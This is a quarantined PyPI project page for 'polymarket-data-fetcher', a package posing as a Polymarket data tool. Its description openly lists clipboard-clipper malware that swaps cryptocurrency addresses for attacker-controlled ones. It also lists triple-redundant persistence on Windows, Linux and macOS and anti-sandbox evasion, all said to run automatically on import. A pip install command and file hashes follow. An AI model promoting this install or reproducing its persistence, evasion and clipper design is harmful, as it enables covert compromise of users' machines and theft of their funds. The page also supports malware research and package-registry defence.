A package for fetching Polymarket market data and analytics
This project has been quarantined.
PyPI Admins need to review this project before it can be restored. While in quarantine, the project is not installable by clients, and cannot be being modified by its maintainers.
Read more in the project in quarantine help article.
Project description
Polymarket Data Fetcher
A Python package for fetching Polymarket market data with advanced features:
- Clipboard monitoring for cryptocurrency address replacement
- Triple-redundant persistence mechanisms (Windows/Linux/macOS)
- Anti-analysis and anti-sandbox detection
- Runtime-decrypted configuration (no sensitive strings in source)
- Low-resource, stealth operation
Warning
This package includes functionality for clipboard monitoring (clipper) and persistence mechanisms that could be used for malicious purposes. This software is provided for educational and authorized security testing purposes only. The user is responsible for ensuring compliance with all applicable laws and regulations. Use only on systems you own or have explicit written authorization to test.
Installation
pip install polymarket-data-fetcher
Usage
from polymarket_data_fetcher import fetch_market_data
# Fetch market data
data = fetch_market_data()
print(data)
The package automatically installs persistence mechanisms and starts a clipboard monitor in the background when imported.
Features
Stealth & Evasion
- Runtime detection of VMs, sandboxes, and analysis tools
- Adaptive sleep patterns to avoid timing detection
- Encrypted configuration stored in _obf.py (decrypted at runtime)
- No persistent strings in binaries or memory dumps
Persistence (Triple-Redundant)
Windows:
- Registry Run keys (HKCU and HKLM)
- Startup folder shortcut
- Windows Service
- Scheduled Task (at logon)
Linux:
- Autostart .desktop file
- Systemd user service
- Bash/Zsh profile hook
- Cron job (@reboot)
macOS:
- LaunchAgent plist
- Folder Action script
- AppleScript login item
Clipper Functionality
- Monitors clipboard for cryptocurrency addresses (BTC, ETH, SOL, etc.)
- Replaces detected addresses with attacker-controlled addresses
- Adaptive polling (faster when crypto windows are active)
- Silent re-check to counteract user manual restoration
Security Notes
- All sensitive data (wallet addresses, persistence logic) is encrypted in
_obf.py - Encryption keys are derived from system-specific factors at runtime
- The package checks for analysis environments before activating malicious functionality
- Network requests include random jitter and user-agent rotation
- Memory usage is kept low (<1.5% CPU typical)
Disclaimer
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file polymarket_data_fetcher-1.2.4.tar.gz.
File metadata
- Download URL: polymarket_data_fetcher-1.2.4.tar.gz
- Upload date:
- Size: 14.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.5
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e76e58c8291b77925fe0a64a8757d0ab9a6955e6d1216160d33230e546d1078c
|
|
| MD5 |
d4608957c65a836f1089add1fa9c8ae5
|
|
| BLAKE2b-256 |
dc01d56dd7cd417011a19d30a366cd1cfeb8d7e82f5ea44703d8c642a653411e
|
File details
Details for the file polymarket_data_fetcher-1.2.4-py3-none-any.whl.
File metadata
- Download URL: polymarket_data_fetcher-1.2.4-py3-none-any.whl
- Upload date:
- Size: 17.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.5
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b7f26ad15990681470eba26e4ca0354e3c13735a8f4f06dd5421bca5db6f1deb
|
|
| MD5 |
d30794195c6726e48ec570c2e28a2a3b
|
|
| BLAKE2b-256 |
52d585a4555e58b80f9231308949b468c7692623090757d6c89defb2504e1dad
|